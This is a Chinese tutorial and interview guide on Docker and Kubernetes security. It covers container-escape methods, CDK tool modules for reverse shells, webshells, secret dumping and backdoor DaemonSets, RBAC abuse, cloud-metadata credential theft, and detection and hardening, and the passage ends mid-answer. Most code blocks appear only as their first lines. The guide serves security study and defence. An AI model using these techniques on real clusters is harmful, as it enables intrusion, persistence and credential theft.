Docker & Kubernetes
Docker & Kubernetes 容器安全
本文定位:从零讲清 Docker 和 K8s 架构,逐层深入容器逃逸、API Server 利用、RBAC 滥用、Node→Cluster 攻击链
建议配合:本地搭建 minikube/kind 或公有云托管的 K8s 测试集群动手复现
Docker 容器基础架构
1.1 容器 vs 虚拟机
面试第一问:容器和虚拟机的区别?不只是”容器轻量”四个字,要讲出底层原理。
1 | ┌──────────────────────────────┐ ┌──────────────────────────────┐ |
核心结论:
- 虚拟机在硬件层虚拟化,每个 VM 有自己的 Guest OS 内核
- 容器是被 Namespace 隔离 + Cgroups 限制的普通 Linux 进程,共用宿主机内核
- 这就是容器逃逸的根源——你以为是在容器里,其实你和宿主机跑在同一个内核上
1.2 容器的四个核心隔离技术
Namespace(命名空间隔离)—— 让你”看不见”
| Namespace 类型 | 隔离内容 | 攻防含义 |
|---|---|---|
| PID Namespace | 进程 ID 隔离 | 容器内 ps aux 只看自己的进程;但 hostPID: true 就能看到宿主机所有进程 |
| Mount Namespace | 文件系统挂载点隔离 | 容器看不到宿主机的 /;挂载宿主机的 Docker Socket 或 procfs 则打破隔离 |
| Network Namespace | 网络栈隔离(网卡、IP、路由、端口) | 默认独立网络;hostNetwork: true 则共享宿主机网络,直接绑宿主端口 |
| IPC Namespace | 进程间通信隔离(信号量、共享内存) | hostIPC: true 则可以访问宿主机的 IPC 资源 |
| UTS Namespace | 主机名和域名隔离 | 默认独立 hostname;hostUTS: true 则共享 |
| User Namespace | 用户和组 ID 隔离 | 容器内 root 在宿主机是普通用户(如果启用了 user namespace remap) |
| Cgroup Namespace | Cgroup 视图隔离 | 限制容器内看到的资源统计信息 |
Cgroups(控制组)—— 让你”不能超用”
1 | Cgroups 的四大功能: |
Capabilities —— “你只是部分 root”
Linux 把 root 的超级权限拆成了 40+ 个精细的 Capability,容器默认只获得其中一部分(约 14 个):
1 | 默认容器拥有的 Capabilities(部分): |
Seccomp(安全计算模式)—— 限制系统调用
默认白名单约 300 个系统调用,高危系统调用(如 reboot、kexec_load)被禁止。
1.3 Docker 核心概念与架构
1 | ┌──────────────────────────────────────────────────────────┐ |
| 概念 | 解释 | 攻防关键 |
|---|---|---|
| Docker CLI | 命令行工具,docker run/build/pull | 客户端,不影响安全 |
| Docker Daemon | 后台进程 dockerd,管理一切 | 整个 Docker 的核心,拿到它就等于拿到宿主机 root |
| containerd | 容器运行时管理,拉镜像、管理存储和网络 | 承上启下 |
| runc | OCI 标准实现,实际创建和运行容器 | CVE-2019-5736 攻击的就是这个 |
| docker.sock | Daemon 的 Unix 域套接字 | 挂载到容器内 = 容器逃逸 |
| 2375/2376 | Docker Remote API TCP 端口 | 未授权访问 = Remote Code Execution as Root |
容器逃逸技术全解析
核心认知:容器逃逸不是”从容器逃出去”,而是从受限的 Namespace 进程变成不受限的宿主机进程。所有逃逸手段本质上都是在找 Namespace 隔离的缝隙。
2.1 逃逸前判断 —— 先搞清楚我是在容器里吗?
1 | # 方法1:检查 /.dockerenv 文件是否存在 |
2.2 逃逸方法 ①:特权模式(–privileged)—— 最经典
原理
--privileged 赋予容器几乎全部的 Linux Capabilities(含 CAP_SYS_ADMIN),可以访问宿主机所有设备,执行 mount 挂载,操作内核模块。
K8s 中对应的 YAML 配置:
1 | securityContext: |
判断方法
1 | # 检查 CapEff 值,全 f 为特权模式 |
逃逸步骤
1 | # 1. 查看宿主机磁盘设备 |
K8s 中的特权容器逃逸(创建恶意 Pod)
1 | apiVersion: v1 |
进入 Pod 后逃逸:
1 | # 因为挂载了宿主机 / 目录到 /host |
2.3 逃逸方法 ②:Docker Socket 挂载
原理
Docker 采用 C/S 架构,/var/run/docker.sock 是 Docker Daemon 的 API 入口。挂载到容器内 → 容器可以直接操作宿主机 Docker → 创建新特权容器 → 挂载宿主机根目录 → 逃逸。
判断方法
1 | # 检查 docker.sock 是否可访问 |
逃逸步骤
1 | # 1. 在容器内安装 docker CLI |
K8s 中对应的场景
1 | # 如果 Pod 挂载了宿主机的 docker.sock |
2.4 逃逸方法 ③:HostPath 挂载宿主机根目录
原理
最简单粗暴——直接把宿主机的 / 目录挂载到容器里。不是”逃逸”,是根本没隔离。
K8s YAML
1 | volumes: |
逃逸
1 | # 如果你有 kubectl exec 权限 → 直接进去 |
2.5 逃逸方法 ④:挂载宿主机 procfs —— CVE-2022-0492 类攻击
原理
如果容器挂载了宿主机的 /proc 文件系统(且拥有写权限),可以利用以下方法逃逸:
路径 A — core_pattern 逃逸:修改 /proc/sys/kernel/core_pattern,当进程崩溃时执行恶意程序。
路径 B — cgroup release_agent 逃逸(CVE-2022-0492 原理):
1 | # 前提:可以写入 /sys/fs/cgroup/*/release_agent |
2.6 逃逸方法 ⑤:内核漏洞逃逸
| CVE | 影响 | 原理 |
|---|---|---|
| CVE-2019-5736 | runc v1.0-rc6 及之前 | 容器内执行 /proc/self/exe 可覆盖宿主机 runc 二进制,下次任何容器启动时执行恶意代码 |
| CVE-2016-5195 | Linux Kernel 2.6.22 - 4.8.3 | Dirty Cow 脏牛漏洞,内核 COW 竞争条件,可获得 root 写权限 |
| CVE-2020-15257 | containerd v1.3.x | 利用抽象 Unix Socket 绕过权限访问宿主机 containerd |
| CVE-2024-21626 | runc v1.1.11 之前 | WORKDIR 指令中的文件描述符泄漏导致宿主机文件系统逃逸 |
2.7 逃逸方法 ⑥:配置错误导致的其他逃逸
hostPID + nsenter
1 | # K8s YAML |
1 | # 在容器内直接进入宿主机的 PID 1 命名空间 |
CAP_SYS_PTRACE
1 | # 如果有 CAP_SYS_PTRACE,可以向宿主进程注入代码 |
CAP_SYS_MODULE
1 | # 如果有 CAP_SYS_MODULE,可以直接向内核插入模块 |
2.8 逃逸方法速查表
| 逃逸方式 | 前提条件 | 一句话原理 | 危险等级 |
|---|---|---|---|
| 特权模式 | privileged: true | 拥有全部 Capabilities,直接 mount 宿主机磁盘 | 🔴 严重 |
| docker.sock 挂载 | 挂载了 /var/run/docker.sock | 直接与宿主机 Docker Daemon 通信,创建特权容器 | 🔴 严重 |
| 宿主机根目录挂载 | hostPath: / 挂载 | 直接读写宿主机文件系统 | 🔴 严重 |
| hostPID | hostPID: true | nsenter -t 1 进入宿主机 namespace | 🔴 严重 |
| core_pattern | /proc/sys/kernel/core_pattern 可写 | 进程崩溃时触发恶意程序 | 🟠 高危 |
| cgroup release_agent | /sys/fs/cgroup/*/release_agent 可写 | cgroup 释放时执行恶意命令 | 🟠 高危 |
| 内核漏洞 | 未打补丁的旧内核 | 利用内核漏洞提权到宿主机 root | 🟡 中危 |
| CAP_SYS_ADMIN | 有此 Capability | 可 mount、修改内核参数 | 🟠 高危 |
| CAP_SYS_PTRACE | 有此 Capability | 可 ptrace 宿主机进程,注入代码 | 🟡 中危 |
Kubernetes 架构详解
为什么要先讲架构? 因为不知道每个组件在哪、做什么、怎么通信,就不知道攻击面在哪。面试中讲 K8s 攻击链一定要能从架构绘起。
3.1 一图看懂 K8s 架构
1 | ┌───────────────────────────────────────────────────────────────────┐ |
3.2 控制平面组件逐一讲解
API Server(kube-apiserver)—— 集群唯一入口
| 维度 | 说明 | 攻防关键 |
|---|---|---|
| 定位 | 整个集群的 唯一前端,所有操作必须经过它 | 攻破了 API Server = 控制了整个集群 |
| 端口 | 6443(HTTPS)、8080(insecure,默认关闭) | 8080 没关闭 = 未授权 = 直接 cluster-admin |
| 认证方式 | X.509 证书、Bearer Token(SA)、OIDC、Webhook | SA Token 泄露是最常见的凭证获取途径 |
| 授权方式 | RBAC(Role Based Access Control) | RBAC 配置错误是所有 K8s 安全问题的根源 |
| 与 etcd 的关系 | 它是唯一和 etcd 交互的组件 | 绕不过它,只能利用它 |
etcd —— 集群的”真理之源”
| 维度 | 说明 |
|---|---|
| 本质 | 分布式 KV 存储数据库(类 ZooKeeper) |
| 存储内容 | 集群的所有配置和状态——Pod、Secret、ConfigMap、SA Token、Node 信息 |
| 端口 | 2379(客户端)、2380(节点间 Raft 通信) |
| 一致性 | Raft 共识协议 |
攻防关键:
- 所有 Secret(含 SA Token)以 base64 编码存储在 etcd 中 → 拿到 etcd = 拿到所有凭证
- etcd 2379 端口未授权访问 = 全集群数据泄露
- etcd 数据在宿主机路径:
/var/lib/etcd/
Scheduler(kube-scheduler)—— 调度大脑
1 | 工作流程: |
Controller Manager(kube-controller-manager)—— 自动化大脑
内部运行着多个独立控制器,每个都是一个控制循环:
1 | for { |
| 控制器 | 功能 | 攻击视角 |
|---|---|---|
| Deployment Controller | 管理滚动更新 | 篡改镜像标签为恶意镜像 |
| ReplicaSet Controller | 保证 Pod 副本数 | 创建大量副本耗尽资源 |
| Node Controller | 监控 Node 健康,驱逐 Pod | 标记 Node 失联触发 Pod 重调度 |
| DaemonSet Controller | 每个 Node 跑一个 Pod | DaemonSet 可以用来在每个 Node 上部署后门 |
| Job Controller | 管理一次性任务 | 创建恶意 Job 执行命令 |
3.3 工作节点组件逐一讲解
Kubelet —— 节点代理人
| 维度 | 说明 |
|---|---|
| 定位 | 每个 Node 上的”代理人”,负责管理本节点上的 Pod |
| 端口 | 10250(HTTPS API,认证+授权)、10255(只读 HTTP,无认证) |
| 职责 | 接收 API Server 分配的 Pod → 通过 CRI 调用容器运行时创建容器 → 健康检查 → 上报状态 |
攻防关键:
- 10250 端口未授权访问 → 可以直接在 Node 上执行命令,获取所有 Pod 日志
- 10255 端口 → 只读模式但无需认证,可获取 Pod 列表和指标
- Kubelet 凭证文件在宿主机:
/etc/kubernetes/kubelet.conf
kube-proxy —— 网络代理
在每个 Node 上运行,维护网络规则(iptables/IPVS),实现 Service 的负载均衡。
3.4 一个 Pod 的完整生命周期(面试必讲)
1 | 1. kubectl apply -f pod.yaml → API Server 接收请求 |
面试官问你”K8s 创建一个 Pod 的过程”,就是在考你对上面这条链路清不清楚。
3.5 K8s 核心资源对象速查
| 资源 | 作用 | 类比 |
|---|---|---|
| Pod | 最小调度单元,1 个或多个容器的组合 | 进程组 |
| Deployment | 管理 Pod 副本、滚动更新 | 发布版本 |
| Service | 稳定的网络入口,负载均衡到 Pod | 负载均衡器 |
| ConfigMap | 非敏感配置数据 | 配置文件 |
| Secret | 敏感数据(密码、Token、证书),base64 编码存储 | 加密配置 |
| Namespace | 逻辑隔离,资源分组 | 项目/环境隔离 |
| ServiceAccount | Pod 的身份,用于访问 API Server | Pod 的身份证 |
| Node | 工作节点(物理机或虚拟机) | 服务器 |
| Ingress | 七层 HTTP 路由 | Nginx 反向代理 |
| PersistentVolume | 持久化存储 | 硬盘 |
K8s 认证与 RBAC 授权体系
这部分是 RBAC 滥用的前提知识。 面试中讲不清 RBAC 就讲不清提权链。
4.1 API 请求的”三道门”
1 | 请求进入 API Server |
4.2 SA(ServiceAccount)—— Pod 的身份证
1 | 核心认知: |
4.3 RBAC 四大组件
1 | SA (身份) + Role/ClusterRole (权限定义) + RoleBinding/ClusterRoleBinding (绑定) = 授权 |
| 组件 | 作用范围 | 一句话 |
|---|---|---|
| ServiceAccount | 命名空间级 | 谁要干活(Pod 的身份) |
| Role | 命名空间级 | 在当前命名空间能做什么 |
| ClusterRole | 集群全局级 | 在全集群能做什么(含集群级资源如 Node、PV) |
| RoleBinding | 命名空间级 | 把 Role 或 ClusterRole 绑定到 SA,只在当前 NS 生效 |
| ClusterRoleBinding | 集群全局级 | 把 ClusterRole 绑定到 SA,全集群生效 |
4.4 四种绑定组合
| 组合 | 作用范围 | 面试考点 |
|---|---|---|
| SA + Role + RoleBinding | 单个命名空间 | 最常见的按项目隔离 |
| SA + ClusterRole + ClusterRoleBinding | 全集群 | cluster-admin 就是这个模式 |
| SA + ClusterRole + RoleBinding | 单个命名空间 | ⚠️ 面试高频:引用了 ClusterRole,但 RoleBinding 限制了只在本 NS 生效 |
| SA + Role + ClusterRoleBinding | ❌ 不允许 | ClusterRoleBinding 只能引用 ClusterRole |
4.5 权限规则 rules 详解
1 | rules: |
4.6 内置 ClusterRole
| 内置角色 | 权限 |
|---|---|
| view | 只读(不包括 Secrets) |
| edit | 可修改资源(不能管理 RBAC) |
| admin | 命名空间管理员(可管理 RBAC,不能操作资源配额) |
| cluster-admin | 🔴 超级管理员,完全控制一切 |
4.7 RBAC 权限检查命令
1 | # 检查当前 SA 是否有某个权限 |
4.8 常见危险 RBAC 配置
| 危险配置 | 后果 | 检测命令 |
|---|---|---|
| default SA 绑定 cluster-admin | 任何 Pod 直接接管集群 | kubectl get clusterrolebindings -o yaml | grep -B5 "default" |
SA 拥有 create pods + 可挂载 hostPath | 创建恶意 Pod 逃逸到 Node | BloodHound/k8scout 分析 |
SA 拥有 get/list secrets | 窃取全集群 SA Token | kubectl auth can-i get secrets --all-namespaces |
SA 拥有 pods/exec | 横向进入其他 Pod | 最常被滥用的权限之一 |
SA 拥有 impersonate | 伪装成任何用户/SA | kubectl get secrets --as=null --as-group=system:masters |
SA 拥有 create clusterrolebindings | 把自己绑定成 cluster-admin | 一步到位 |
SA 拥有通配符 * * * | 等于 cluster-admin | 最危险 |
K8s 攻击面枚举与信息收集
5.1 入口 — 怎么拿到第一个 Pod 的执行权限?
1 | 入口方式: |
5.2 进入 Pod 后 —— 第一步信息收集
1 | # ===== 1. 确认你在 Pod 容器里 ===== |
5.3 权限枚举 —— 搞清楚我能干什么
1 | # ===== 方法 1:kubectl auth can-i(如果有 kubectl)===== |
5.4 外部攻击面(在 Pod 外/公网)
| 攻击面 | 端口 | 探测方式 |
|---|---|---|
| API Server insecure | 8080 | curl http://MASTER_IP:8080/version |
| API Server secure | 6443 | curl -k https://MASTER_IP:6443/version |
| etcd | 2379 | curl http://MASTER_IP:2379/version |
| Kubelet | 10250 | curl -k https://NODE_IP:10250/pods |
| Kubelet readonly | 10255 | curl http://NODE_IP:10255/pods |
| Dashboard | 随机 NodePort | 扫描 30000-32767 |
| Docker Remote API | 2375/2376 | curl http://NODE_IP:2375/version |
补充:CDK 工具 —— 容器渗透的瑞士军刀
面试场景:面试官问”你拿到 Pod shell 后怎么快速摸清环境和提权?”如果你说”手工一条条查”说明你做过了;如果你说”上 CDK”说明你做过很多次。
补5.1 CDK 是什么
CDK(Container Duck,容器鸭)是 cdk-team 开发的开源零依赖容器渗透工具,Go 语言编写,一个二进制文件扔进容器就能用,不依赖 curl/wget/python。专为 容器逃逸 + K8s 接管 设计。
1 | GitHub: https://github.com/cdk-team/CDK |
补5.2 三大模块总览
1 | cdk |
补5.3 信息收集 — cdk evaluate
这是进入容器后第一件事,比手动翻文件快 10 倍:
1 | # 基础评估(快速) |
自动收集的内容清单
| 检测项 | 攻防意义 |
|---|---|
| OS 基本信息 | 内核版本 → 判断可利用的内核漏洞 |
| Capabilities | CapEff 值 → 特权容器?有 CAP_SYS_ADMIN 吗? |
| Mounts 挂载点 | 有没有 docker.sock?有没有 hostPath 挂载根目录? |
| 敏感环境变量 | 有没有 AK/SK、数据库密码、Token 泄漏在 env 里 |
| 敏感进程 | 有没有 sshd/cron 等宿主机泄露的进程 |
| 敏感文件(–full) | 扫描 /etc/shadow, kubeconfig, SSH Key 等 |
| K8s API Server 可达性 | 自动探测 kubernetes.default.svc 和 SA Token 权限 |
| K8s SA 权限 | 自动调用 SelfSubjectAccessReview,列出你能干什么 |
| 云元数据 API | 自动探测 169.254.169.254(AWS/Azure/GCP/阿里云) |
| DNS 服务发现 | 通过 SRV 记录发现 K8s 内部服务 |
输出示例(关键部分)
1 | $ ./cdk evaluate |
补5.4 容器逃逸 — cdk run
列出所有可用攻击模块
1 | ./cdk run --list |
输出所有可用的 exploit 名称,面试中记住这几类即可:
按攻击场景分类速查
🔴 容器逃逸类
| 命令 | 利用条件 | 说明 |
|---|---|---|
cdk run docker-sock-pwn "<cmd>" | 容器内可访问 docker.sock | 通过 docker.sock 创建特权容器执行宿主机命令 |
cdk run docker-sock-check | 同上 | 先检测,推荐先跑这个确认可利用 |
cdk run docker-api-pwn "<cmd>" | 宿主机暴露 2375/2376 端口 | 通过 Docker Remote API 逃逸 |
cdk run mount-disk | 特权容器 + 有宿主机磁盘设备 | fdisk 看到的磁盘直接 mount + chroot |
cdk run mount-cgroup | 特权容器 + SYS_ADMIN | cgroup release_agent 逃逸 |
cdk run mount-procfs | 挂载了宿主机 /proc 并可写 | 通过 core_pattern 逃逸 |
cdk run check-ptrace | 有 CAP_SYS_PTRACE | ptrace 注入宿主机进程 |
cdk run runc-pwn | CVE-2019-5736 | runc 漏洞,覆盖宿主机 runc 二进制 |
cdk run shim-pwn | CVE-2020-15257 | containerd-shim 漏洞 |
cdk run abuse-unpriv-userns | CVE-2022-0492 + 非特权用户命名空间 | cgroup v1 release_agent |
cdk run rewrite-cgroup-devices | 可写 /sys/fs/cgroup/devices/devices.allow | 开放设备访问权限 |
cdk run cap-dac-read-search | 有 CAP_DAC_READ_SEARCH | 绕过文件读权限,读取宿主机任意文件 |
cdk run lxcfs-rw | 可写 LXCFS 挂载 | LXCFS 配置错误利用 |
🟡 一键自动逃逸(最暴力)
1 | # CDK 自动尝试所有可行的逃逸方式,执行你指定的命令 |
面试金句:”CDK 的
auto-escape模块会自动检测当前容器的权限和挂载情况,然后按优先级尝试所有适用的逃逸方法——先试 docker.sock,再试特权容器挂载磁盘,再试 cgroup,再试 CVE——直到成功在宿主机执行你给的命令。”
🟢 凭证窃取类
| 命令 | 前提条件 | 效果 |
|---|---|---|
cdk run k8s-secret-dump | 有 SA Token + get/list secrets 权限 | 导出全集群所有 Secret(含所有 SA Token) |
cdk run k8s-configmap-dump | 有 SA Token + get/list configmaps 权限 | 导出全集群 ConfigMap |
cdk run etcd-get-k8s-token | etcd 2379 可达 + 未授权 | 直接从 etcd 读 SA Token |
cdk run ak-leakage | 无 | 扫描环境变量/文件中泄漏的云 AK/SK |
cdk run k8s-get-sa-token | 有 SA Token + 特定 RBAC 权限 | RBAC 绕过,窃取其他 SA 的 Token |
🔵 K8s 横向/持久化类
| 命令 | 效果 | 面试亮点 |
|---|---|---|
cdk run k8s-backdoor-daemonset | 部署后门 DaemonSet到所有 Node | 每个 Node 运行一个特权容器,挂载宿主机根目录 |
cdk run k8s-cronjob | 部署 CronJob 定时任务后门 | 定时执行恶意代码,隐蔽性强 |
cdk run k8s-shadow-apiserver | 部署影子 API Server | 中间人拦截所有 K8s API 请求 |
cdk run k8s-mitm-clusterip | CVE-2020-8554,劫持 ClusterIP 流量 | 中间人攻击 K8s Service 通信 |
cdk run kubelet-exec | 通过 Kubelet 10250 执行命令 | Node 级别的命令执行 |
cdk run service-probe | 探测 K8s 各组件(API Server/etcd/kubelet/dashboard) | 自动发现可攻击的 K8s 组件 |
🟣 普通工具类
| 命令 | 效果 | 备注 |
|---|---|---|
cdk run reverse-shell | 反弹 shell | 自动选择最佳反弹方式 |
cdk run webshell-deploy | 在当前容器部署 WebShell | 为后续持久化提供 HTTP 入口 |
cdk run istio-check | 导出 Istio Sidecar 元数据 | Service Mesh 环境特有 |
cdk run k8s-psp-dump | 导出 Pod Security Policies | 了解部署限制 |
补5.5 内置小工具 — 容器里没有的命令 CDK 帮你补
1 | cdk ps # 等价 ps aux |
面试场景:”进入一个 Alpine 精简容器,没有 curl,没有 nc,没有 vi。CDK 的 Tool 模块直接补上了这些缺失的命令——
cdk kcurl带 Token 调 API Server,cdk nc建隧道打内网,cdk probe扫内网端口。”
补5.6 CDK 投递方式
方式 1:有 curl/wget
1 | # 在目标容器里 |
方式 2:无 curl/wget(但可出站 TCP)
1 | # 攻击机(公网) |
方式 3:在 K8s 中通过 kubectl cp
1 | kubectl cp ./cdk <namespace>/<pod>:/tmp/cdk |
方式 4:Base64 传输(不出网环境)
1 | # 攻击机 |
补5.7 完整实战流(面试叙述模板)
1 | 进入 Pod shell |
补5.8 面试中怎么聊 CDK
面试官:拿到 Pod shell 后你怎么做的?
你:
“第一步扔 CDK 进去,
./cdk evaluate --full全量扫描。它自动帮我检查了 Capabilities、挂载点、SA Token 权限、内网 K8s 组件探测、云元数据 API——1 分钟内出完整报告。根据报告选择逃逸方式:如果有 docker.sock 用docker-sock-pwn,如果有特权容器用mount-disk或mount-cgroup,如果只有 SA Token 但能 create pods 就自己写 YAML 创建特权 Pod 逃逸。最后用k8s-backdoor-daemonset在所有 Node 上部署后门 DaemonSet 做持久化。”
面试官内心:这人真干过。
从 Pod 到 Node —— 容器逃逸与节点突破
这一节汇总”你在 Pod 里拿到了 shell,怎么打到宿主机 Node”的所有路径。
6.1 路径 A:特权容器挂载宿主机
1 | # 发现条件: |
6.2 路径 B:docker.sock 挂载
1 | # 发现条件: |
6.3 路径 C:通过 RBAC 创建恶意 Pod 达成逃逸
这是面试中最常考的攻击链:你没有直接的宿主机访问,但有
create pods权限。
1 | # 步骤 1:发现你有 create pods 权限 |
调度到 Master 节点的技巧
1 | # 加上 nodeName 直接指定到 Master |
6.4 路径 D:Kubelet 10250 未授权直接执行命令
1 | # 外部/横向发现 Kubelet 10250 未授权 |
6.5 路径 E:hostPID + nsenter
1 | # 如果 Pod 以 hostPID: true 运行 |
1 | # 在容器内直接切到宿主机 PID namespace |
6.6 逃逸后 —— Node 上有什么值钱的?
1 | # 逃逸到 Node 后,优先查找以下凭证: |
从 Node 到 Cluster —— 集群完全接管
7.1 路径总览
1 | Worker Node 逃逸成功 |
7.2 路径 1:worker → master 利用 kubelet 权限
1 | # kubelet.conf 给了 Node 级别的 API 访问权限 |
7.3 路径 2:RBAC 滥用自我提权
1 | # 场景:你的 SA 有 create clusterrolebindings 权限 |
7.4 路径 3:窃取高权限 SA Token
1 | # 枚举 kube-system 中的高权限 SA |
7.5 路径 4:pods/exec 横向移动
1 | # 如果你有 pods/exec 权限,exec 到其他 Pod 窃取其 SA Token |
7.6 路径 5:持久化后门
1 | # 方法 1:创建后门 Deployment |
API Server 利用全解
8.1 8080 insecure-port 未授权访问
如果遇到 8080 端口开放且未设置
--insecure-port=0,等于白送 cluster-admin。
1 | # 探测 |
8.2 6443 匿名用户绑定 cluster-admin
1 | # 探测匿名访问 |
8.3 泄露 kubeconfig 的利用
1 | # kubeconfig 泄露的常见位置: |
8.4 etcd 未授权访问
1 | # etcd 2379 未授权 = 直接读全集群数据 |
云凭证窃取与跨平台攻击
K8s 不是孤岛。 现代 K8s 大多在云上(EKS/AKS/GKE),Node 通常有 IAM 角色。逃逸到 Node 后,下一步就是窃取云凭证。
9.1 AWS EKS
1 | # 在逃逸到的 Node 上 |
9.2 Azure AKS
1 | curl -H "Metadata: true" \ |
9.3 GCP GKE
1 | curl -H "Metadata-Flavor: Google" \ |
检测、防御与加固
10.1 攻击检测对应表
| 攻击行为 | 检测方式 |
|---|---|
| 特权容器创建 | 审计日志 pods/creat, securityContext.privileged=true |
| docker.sock 挂载 | 审计 volumes.hostPath.path 含 docker.sock |
| RBAC 提权 | 审计 clusterrolebindings/creat 和 clusterrolebindings/update |
| SA Token 窃取 | Falco 规则:在 Pod 内读取 /var/run/secrets 之外的 Token |
| Kubelet 未授权访问 | 扫描 10250 端口 + 检查 --anonymous-auth |
| API Server 匿名访问 | 检查 RBAC 中 system:anonymous 的绑定 |
| etcd 端口暴露 | 端口扫描 2379 + 防火墙规则审计 |
10.2 防御加固清单
1 | # === Pod Security Standards (PSS) === |
10.3 安全审计关键命令
1 | # 1. 检查高危 RBAC 绑定 |
常见误区
容器=虚拟机,容器里是绝对安全的
错。容器是共用宿主机内核的进程,不是虚拟机。Namespace 隔离不等于安全隔离。--privileged 或 CAP_SYS_ADMIN 可以直接操作宿主机硬件。
Docker 逃逸需要 0day
错。特权容器、docker.sock 挂载、hostPath 根目录挂载——这些都是配置错误,不需要任何漏洞,只需要一个写错的 YAML。
K8s 默认是安全的
错。K8s 默认配置非常宽松——automountServiceAccountToken: true(每个 Pod 自动拿到 SA Token)、default SA 在很多环境中权限不小、10250 Kubelet 端口早期版本默认允许匿名访问。
RBAC 的 view 角色是安全的?
不一定。攻击者拥有 view 权限→可以看到所有 Pod 的配置→发现哪些 Pod 挂载了 docker.sock/hostPath → 找目标。信息收集是最被低估的攻击能力。
拿到 Pod shell = 只能在这个 Pod 里
错。Pod 里如果有 SA Token + pods/exec 权限 = 可以在所有 Pod 之间横向。如果 SA 有 create pods 权限 = 可以创建特权 Pod 逃逸到宿主机。
K8s Secret 是加密的
不完全对。Secret 存储时是 base64 编码(不是加密!),只有在 etcd 启用了静态加密(encryption at rest)时才是真正加密的。base64 编码随便解码。而且有 get secrets 权限就能直接读明文。
容器逃逸到了 Node 就是终点
错。Node 可能是云上的 EC2/VM,通常有 IAM 角色。从 Node 窃取云凭证后可以扩散到整个云账号——S3、RDS、Lambda 全部沦陷。这就是”容器→ K8s → 云平台”的三级跳。
关闭容器的 --privileged 就够了
不够。以下配置单独使用也危险:
hostPID: true+nsenterCAP_SYS_ADMIN(单独给这个 capability)CAP_SYS_PTRACE(注入宿主机进程)hostPath: /挂载根目录hostPath: /var/run/docker.sockhostPath: /proc+ 可写(cgroup release_agent)
pod/exec 只是”进 Pod 看看”,没什么风险
错。pods/exec 可以进入任何 Pod + 窃取那个 Pod 的 SA Token + 用那个 SA 的身份调用 API。如果那个 Pod 在 kube-system 命名空间且有高权限 SA,就是提权。
API Server 6443 端口有 TLS 就安全了
不一定。如果有泄露的 kubeconfig 或 SA Token,TLS 也挡不住。重点是认证和授权机制是否到位,匿名用户是否被合理限制。
面试题库与参考答案(35 题)
基础概念(★☆☆)
Q1:Docker 容器和虚拟机的本质区别是什么?
虚拟机在硬件层虚拟化,每个 VM 有独立 Guest OS 内核,隔离性强但资源开销大。容
是共用宿主机内核的隔离进程,通过 Namespace 实现视图隔离、Cgroups 实现资源限制、
Capabilities 实现权限拆分。容器启动快、资源开销小,但隔离性弱于虚拟机。容器逃逸
的根源就在于共用内核。
Q2:Namespace 是什么?Cgroups 是什么?
Namespace 是 Linux 内核的进程隔离机制,让容器内的进程”看不到”容器外的资源。
包括 PID/Mount/Network/IPC/UTS/User/Cgroup 七种。Cgroups 是资源限制机制,控制
容器能用多少 CPU、内存、IO、进程数。Namespace 管”能不能看到”,Cgroups 管”能
用多少”。
Q3:–privileged 给了容器什么?
给了容器几乎所有 Linux Capabilities(接近 40 个),能访问宿主机所有设备、执
行 mount、操作内核模块。隔离基本失效。这是容器逃逸最常见的利用条件。
Q4:Capabilities 和 root 的关系?
Linux 把 root 的超级权限拆成了 40+ 个精细的 Capability。容器内的 root 默认只
有约 14 个 Capability,不是真正的”全能 root”。--privileged或显式--cap-add
才会给更多。
Q5:K8s 的核心组件有哪些?各自的职责?
控制平面:API Server(唯一入口,所有请求的枢纽)、etcd(分布式 KV 存储,集群状态
数据库)、Scheduler(Pod 调度到 Node)、Controller Manager(自动化控制循环,维护
期望状态)。工作节点:Kubelet(Node 上管理 Pod 的代理人)、kube-proxy(网络代理、
Service 负载均衡)、Container Runtime(containerd/CRI-O,实际运行容器)。
Q6:API Server 在 K8s 中扮演什么角色?
集群的唯一前端和交通枢纽。所有客户端和组件都必须通过它操作集群。它是唯一与
etcd 直接交互的组件。支持 RESTful API,认证(证书/Token/OIDC)→ 授权(RBAC)
→ 准入控制(Webhooks)。攻破了 API Server = 控制了整个集群。
Q7:etcd 存储了什么?为什么重要?
存储了集群的所有状态——Pod 定义、Service、ConfigMap、Secret(含 SA Token 的
base64)、Node 信息、RBAC 配置。是所有集群数据的”真理之源”。etcd 2379 端口未授
权 = 全集群数据泄露。
Q8:Kubelet 是什么?端口?
每个 Node 上的”代理人”,负责管理该 Node 上所有 Pod 的生命周期。端口:10250
(HTTPS,完整 API)和10255(HTTP,只读,无认证)。10250 未授权访问可
直接在 Node 上执行命令;10255 泄漏 Pod 信息。
Q9:ServiceAccount 是什么?和 User 有什么区别?
SA 是 K8s 内部为 Pod 进程提供的身份账号,用于 Pod 访问 API Server,隶属于命名
空间。Token 自动挂载到/var/run/secrets/kubernetes.io/serviceaccount/。User
是外部人类用户,K8s 本身不管理 User 对象,身份由外部证书/OIDC 提供。
Q10:Role 和 ClusterRole 的区别?
Role 是命名空间级资源,权限只在定义它的命名空间内生效,无法操作 Node、PV 等
集群级资源。ClusterRole 是集群级资源,权限覆盖所有命名空间,还能操作集群级资
源和非资源端点(如/healthz)。
Q11:RoleBinding 和 ClusterRoleBinding 的区别?
RoleBinding 将权限绑定限制在单个命名空间内,即使引用了 ClusterRole 也只在该
NS 生效。ClusterRoleBinding 是全集群范围的绑定。重要考点:用 RoleBinding
绑定 ClusterRole → 权限被限制在该 NS 内。
Q12:K8s RBAC 是”白名单”还是”黑名单”?
纯叠加(白名单)模型——权限只做累加,没有显式”拒绝”规则。要撤销权限只能
删除对应的绑定。这也是 RBAC 容易被滥用的原因之一。
容器逃逸(★★☆)
Q13:容器逃逸的常见方式有哪些?
① 特权容器 + 宿主机磁盘挂载 →
mount /dev/sda1 + chroot;② docker.sock 挂载
→ 创建新特权容器 → 挂载宿主机根目录;③ hostPath 直接挂载/→ 直接 chroot;
④ hostPID + nsenter → 进入宿主机 namespace;⑤ cgroup release_agent 写入 + 触
发;⑥ 内核漏洞(CVE-2019-5736 runc、CVE-2016-5195 Dirty Cow)。
Q14:docker.sock 挂载为什么能导致逃逸?
Docker 采用 C/S 架构,docker.sock 是 Docker Daemon 的 Unix Socket。挂载到容
器内 = 容器可以直接给宿主机的 Docker Daemon 下命令 → 创建新容器(以 root 运
行且挂载宿主机/)→ chroot → 完全控制宿主机。
Q15:如何在容器内判断是否为特权模式?
cat /proc/self/status | grep CapEff,全f(0000003fffffffff)即为特权
容器。另外可以fdisk -l,能看到宿主机磁盘设备的通常就是特权容器。
Q16:nsenter 怎么用来逃逸?
nsenter -t 1 -m -u -i -n -p -- /bin/bash。前提是容器配置了hostPID: true
或容器有足够的 Capability。-t 1指向宿主机的 PID 1(init/systemd),然后切
